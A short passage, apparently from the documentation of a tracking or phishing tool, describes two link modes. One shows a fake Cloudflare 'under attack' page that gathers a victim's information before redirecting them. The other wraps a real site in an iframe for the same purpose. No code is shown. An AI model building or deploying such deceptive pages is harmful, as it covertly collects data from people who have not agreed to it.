\n1. Cloudflare Link: This method will show a cloudflare under attack page to gather informations and afterwards victim will be redirected to destinationed URL.
\n2. Webview Link: This will show a website (ex bing , dating sites etc) using iframe for gathering information.
( ⚠️ Many sites may not work under this method if they have x-frame header present.Ex https://google.com )
